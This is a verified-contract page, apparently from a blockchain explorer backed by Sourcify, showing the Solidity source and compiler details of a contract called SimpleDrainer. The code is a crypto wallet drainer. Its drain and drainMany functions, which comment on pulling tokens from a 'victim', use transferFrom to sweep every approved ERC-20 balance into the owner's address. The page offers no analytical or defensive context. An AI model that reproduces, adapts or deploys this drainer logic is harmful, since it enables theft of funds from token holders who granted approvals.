Verified contractExactMIT
SimpleDrainer
Address0x8d5b5135baada6eed0f19cdff77926a728e683fd
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,356,984
- Creation transaction
- 0x2f451de1ec…0cad860558
contracts/Drainer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract SimpleDrainer {
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
// Pull any ERC-20 the victim has approved
function drain(address token, address victim) external onlyOwner {
IERC20 t = IERC20(token);
uint256 bal = t.balanceOf(victim);
if (bal > 0) {
t.transferFrom(victim, owner, bal);
}
}
// Batch version
function drainMany(address[] calldata tokens, address victim) external onlyOwner {
for (uint i = 0; i < tokens.length; i++) {
IERC20 t = IERC20(tokens[i]);
uint256 bal = t.balanceOf(victim);
if (bal > 0) {
try t.transferFrom(victim, owner, bal) {} catch {}
}
}
}
// Rescue any tokens that land on the contract
function rescue(address token) external onlyOwner {
IERC20 t = IERC20(token);
t.transferFrom(address(this), owner, t.balanceOf(address(this)));
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.